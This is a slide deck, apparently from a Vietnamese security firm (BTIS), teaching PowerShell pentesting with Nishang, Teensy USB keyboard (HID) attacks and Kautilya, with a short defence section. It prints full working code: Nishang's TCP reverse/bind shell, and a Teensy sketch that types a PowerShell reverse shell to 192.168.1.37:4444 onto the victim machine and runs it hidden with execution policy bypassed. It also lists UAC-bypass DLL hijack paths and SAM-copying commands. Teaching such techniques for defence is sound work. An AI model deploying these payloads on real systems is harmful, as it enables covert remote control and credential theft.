4. 44
BTIS hoạt động trong lĩnh vực An toàn thông tin. Chúng tôi tập hợp đội ngũ những chuyên viên
tốt nghiệp từ những trường Đại học uy tín của cả nước. Cùng với kinh nghiệm làm việc, nghiên
cứu trong lĩnh vực bảo mật, triển khai hệ thống kết hợp với sức trẻ của đội ngũ nhân viên, BTIS
mong sẽ cung cấp cho khách hàng những dịch vụ An toàn thông tin đáp ứng những nhu cầu
khác nhau từ thị trường.
LỜI CHÀO TỪ
CÔNG TY CÔNG NGHỆ BẢO TÍN
Địa chỉ: Tầng 04, 5A Trần Văn Dư, phường 13,
quận Tân Bình, Tp.Hồ Chí Minh
Điện thoại: 08 3810 6288 – 08 38106289
www.btis.vn | info@btis.vn
5. NỘI DUNG CHƯƠNG TRÌNH
5
I. POWERSHELL PENETRATION TESTING
II. TEENSY HID
III. KAUTILYA
IV. TẤN CÔNG TIẾP CẬN SỬ DỤNG HID TRONG THỰC TIỄN
V. PHƯƠNG PHÁP PHÒNG CHỐNG
VI. THẢO LUẬN
7. Powershell
• PowerShell là một công cụ rất mạnh mẽ được tích hợp trong
Windows, hỗ trợ các nhiều tiện ích và cung cấp các quyền cao hơn
cho người dùng.
• Các tiện ích cơ bản của PS:
− Quản lý tiến trình
− Giám sát các Services
− Quản lý người dùng
− Thông tin về hệ thống máy
tính
7
10. Nishang
PowerShell for penetration
testing and offensive security
Nishang là một framwork chứa các scripts và payloads sử dụng PowerShell để
thực hiện kiểm tra bảo mật, kiểm tra pentest.
10
11. Nishang
Framework tập hợp các script và payloads thực thi bằng PowerShell
dùng để thực hiện các cuộc tấn công, kiểm thử hệ thống.
11
12. Phân tích PowerShell TCP Payload
• Link:
https://github.com/samratashok/nishang/raw/master/Shells/In
voke-PowerShellTcp.ps1
• Miêu tả:
Script chấp nhận các kết nối từ xa đến hoặc tự động kết nối đến một
host và port bất kỳ thông qua netcat
• Ví dụ:
− Chấp nhận các kết nối đến Port 4444
PS > Invoke-PowerShellTcp -Bind -Port 4444
− Kết nối đến host 192.168.254.226 tại port 4444
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port
4444
12
13. #Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object
System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-
String )
}
catch
{
Write-Warning "Something went wrong with execution of command
on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
Phân tích PowerShell TCP Payload
13
14. Phân tích Copy-VSS Payload
• Link:
https://github.com/samratashok/nishang/raw/master/Gather/C
opy-VSS.ps1
• Miêu tả:
Payload sử dụng VSS Service, tạo Shadow của ổ C và thực hiện Copy
các tập tin SAM.
• Ví dụ:
− Lưu các tập tin vào trong thư mục C:temp
PS > Copy-VSS -DestinationDir C:temp
14
18. Analyze Bypass UAC Payload
Method Name Write DLL to DLL Name Executable to Use
sysprep
C:WindowsSystem32sys
prep
CRYPTBASE.dll for
Windows 7 and shcore.dll
for Windows 8
C:WindowsSystem32sys
prepsysprep.exe
oobe
C:WindowsSystem32oo
be
wdscore.dll for Windows 7,
8 and 10
C:WindowsSystem32oo
besetupsqm.exe
actionqueue
C:WindowsSystem32sys
prep
ActionQueue.dll only for
Windows 7
C:WindowsSystem32sys
prepsysprep.exe
migwiz
C:WindowsSystem32mi
gwiz
wdscore.dll for both
Windows 7 and 8
C:WindowsSystem32mi
gwizmigwiz.exe
cliconfg C:WindowsSystem32
ntwdblib.dll for Windows
7, 8 and 10
C:WindowsSystem32clic
onfg.exe
winsat
C:WindowsSystem32sys
prepCopy winsat.exe from
C: WindowsSystem32 to
C:WindowsSystem32sys
prep
ntwdblib.dll for Windows 7
and devobj.dll for
Windows 8 and 10
C:WindowsSystem32sys
prepwinsat.exe
mmc C:WindowsSystem32
ntwdblib.dll for Windows 7
and elsext.dll for Windows
8 and 10.
C:WindowsSystem32m
mc.exe eventvw
18
20. Teensy HID
Lịch sử hình thành các kỹ thuật khai thác, chiếm quyền người dùng thông qua
kết nối trên nền tảng USB. Tóm gọn các chức năng, ưu điểm/ nhược điểm của
các kỹ thuật cổ điển đến những phương pháp khai thác mới nhất, khó phát hiện
và nguy hiểm.
20
21. Lịch sử xuất hiện
• USB mass storage
containing malware
• U3 thumb drives with
"evil" autorun payloads
• Hardware key loggers
• Programmable HID USB
Keyboard Dongle
Devices
USB Rubber Ducky Deluxe
21
22. HID
Human Interface Device
Tiêu chuẩn USB được phân thành nhiều lớp (class) và định nghĩa bởi mã định
danh gán trên thiết bị. Các lớp USB giúp các thiết bị kết nối xác định chức năng
phần cứng mà nó được thiết kế. HID là một lớp theo tiêu chuẩn USB quốc tế,
được sử dụng trong việc phát triển các tính năng mở rộng, tương tác với các
thiết bị khác.
http://www.usb.org/developers/defined_class/#BaseClass03h
22
24. HID (Human Interface Device)
• Human Interface Device (HID) cho phép các nhà phát triển tự tạo ra các
thiết bị/ ứng dụng trên kiến trúc USB mà không cần phải nhúng thêm
driver thiết bị. Tính chất tương thích cao của chip HID và kết nối USB là
một sự kết hợp hoàn hảo cho việc mở rộng các tính năng cao cấp cho thiết
bị USB ngày nay.
http://d3i5bpxkxvwmz.cloudfront.net/articles/
2012/01/23/USB-HID-Tutorial-1327308511.pdf
24
25. Teensy USB Development Board
Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với
kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau.
Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB.
25
26. Teensy USB Board, Version 3.2
Actual size is 1.4 by 0.7 inch
Version 3.2 features a 32 bit
ARM processor.
Price $19.80
https://www.pjrc.com/teensy/index.html
26
28. Kautilya
Công cụ cung cấp payloads cho các thiết bị HID giúp kiểm tra tính bảo mật của
hệ thống trong quá trình kiểm thử
28
29. Kautilya Features
Windows
Gather
− Gather Information
− Hashdump and Exfiltrate
− Keylog and Exfiltrate
− Sniffer
− WLAN keys dump
− Get Target Credentials
− Dump LSA Secrets
− Dump passwords in plain
− Copy SAM
− Dump Process Memory
− Dump Windows Vault Credentials
Execute
− Download and Execute
− Connect to Hotspot and Execute
code
− Code Execution using Powershell
− Code Execution using DNS TXT
queries
− Download and Execute
PowerShell Script
− Execute ShellCode
− Reverse TCP Shell
Backdoor
− Sethc and Utilman backdoor
− Time based payload execution
− HTTP backdoor
− DNS TXT Backdoor
− Wireless Rogue AP
− Tracking Target Connectivity
− Gupt Backdoor
Escalate
− Remove Update
− Forceful Browsing
Manage
− Add an admin user
− Change the default DNS server
− Edit the hosts file
− Add a user and Enable RDP
− Add a user and Enable Telnet
− Add a user and Enable Powershell
Remoting
Drop Files
− Drop a MS Word File
− Drop a MS Excel File
− Drop a CHM (Compiled HTML
Help) file
− Drop a Shortcut (.LNK) file
− Drop a JAR file
Misc
− Browse and Accept Java Signed
Applet
− Speak on Target
Linux
− Download and Execute
− Reverse Shells using built in tools
− Code Execution
− DNS TXT Code Execution
− Perl reverse shell (MSF)
OSX
− Download and Execute
− DNS TXT Code Execution
− Perl Reverse Shell (MSF)
− Ruby Reverse Shell (MSF)
29
31. void setup() {
delay(3000);
// Kiểm tra đã nhận Teensy chưa bằng tín hiệu đèn trên CAPLOCK?
wait_for_drivers(2000);
// Thu nhỏ tất cả chương trình đang chạy
minimise_windows();
delay(500);
while (!cmd(3, 500, "cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1
&& title Installing Drivers"")) // Thực hiện gọi CMD với các tham số truyền
vào.
{
reset_windows_desktop(2000);
}
delay(1000);
// Thực hiện khởi tạo PAYLOAD POWERSHELL
Keyboard.println("echo $cl = New-Object
System.Net.Sockets.TCPClient("192.168.1.37",4444) > %temp%rtcp.ps1");
Keyboard.println("echo $str = $cl.GetStream() >> %temp%rtcp.ps1");
Keyboard.println("echo [byte[]]$bts = 0..65535^|%{0} >>
%temp%rtcp.ps1");
Keyboard.println("echo while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){
>> %temp%rtcp.ps1");
Keyboard.println("echo $data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bts,0, $i) >> %temp%rtcp.ps1");
Keyboard.println("echo $sb = (iex $data 2>&1 ^| Out-String ) >>
%temp%rtcp.ps1");
Keyboard.println("echo $sb2 = $sb + "PS " + (pwd).Path + "> " >>
%temp%rtcp.ps1");
Keyboard.println("echo $sbt = ([text.encoding]::ASCII).GetBytes($sb2) >>
%temp%rtcp.ps1");
Keyboard.println("echo $str.Write($sbt,0,$sbt.Length) >>
%temp%rtcp.ps1");
Keyboard.println("echo $str.Flush()} >> %temp%rtcp.ps1");
Keyboard.println("echo $cl.Close() >> %temp%rtcp.ps1");
// Thực hiện khởi tạo VBS
Keyboard.println("echo Set oShell = CreateObject("WScript.Shell") >
%temp%rtcp.vbs");
Keyboard.println("echo oShell.Run("powershell.exe -ep bypass -nologo -c
%temp%rtcp.ps1"),0,true >> %temp%rtcp.vbs");
delay(1000);
// Thực thi tập tin VBS
Keyboard.println("wscript %temp%rtcp.vbs");
delay(1000);
Keyboard.println("exit");
}
31
$cl = New-Object System.Net.Sockets.TCPClient("192.168.1.37",4444)
$str = $cl.GetStream()
[byte[]]$bts = 0..65535|%{0}
while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0,
$i)
$sb = (iex $data | Out-String )
$sb2 = $sb + "PS " + (pwd).Path + "> "
$sbt = ([text.encoding]::ASCII).GetBytes($sb2)
$str.Write($sbt,0,$sbt.Length)
$str.Flush()}
$cl.Close()
32. Kiểm tra nhận
Teensy chưa
Thu nhỏ màn
hình
(Windows + M)
Mở Run
(Windows + R)
Nhập lệnh
CMD
Khởi tạo
PAYLOAD
POWERSHELL
Khởi tạo Script
Vbs
Thực thi SCRIPT Thoát
Tổng quan quy trình
37. Kiểm tra nhận
Teensy chưa
Thu nhỏ màn hình
(Windows + M)
Nhấn nút
Windows
Nhập lệnh CMD
Nhấp tổ hợp phím
CTRL + SHIFT +
ENTER
Trên hộp thoại
UAC, nhấn phái
qua trái và ENTER
Khởi tạo PAYLOAD
POWERSHELL
Khởi tạo Script
Vbs
Thực thi SCRIPT
Thoát
Tổng quan quy trình
38. Tấn công tiếp cận sử dụng
HID trong thực tiễn
HID hỗ trợ hoạt động trên đa nền tảng hệ điều hành và kiến trúc phần cứng.
38
39. SOCIAL ENGINEERING:
THE ART OF HUMAN HACKING
From elicitation, pretexting, influence and
manipulation all aspects of social
engineering are picked apart, discussed
and explained by using real world
examples, personal experience and the
science behind them to unraveled the
mystery in social engineering.
Kevin Mitnick—one of the most famous
social engineers in the world—
popularized the term “social engineering.”
He explained that it is much easier to trick
someone into revealing a password for a
system than to exert the effort of hacking
into the system. Mitnick claims that this
social engineering tactic was the single-
most effective method in his arsenal. This
indispensable book examines a variety of
maneuvers that are aimed at deceiving
unsuspecting victims, while it also
addresses ways to prevent social
engineering threats.
39
54. Linux
• Locking down Linux using UDEV
• http://www.irongeek.com/i.php?page=security/plug-and-prey-
malicious-usb-
devices&mode=print#3.2_Locking_down_Linux_using_UDEV
54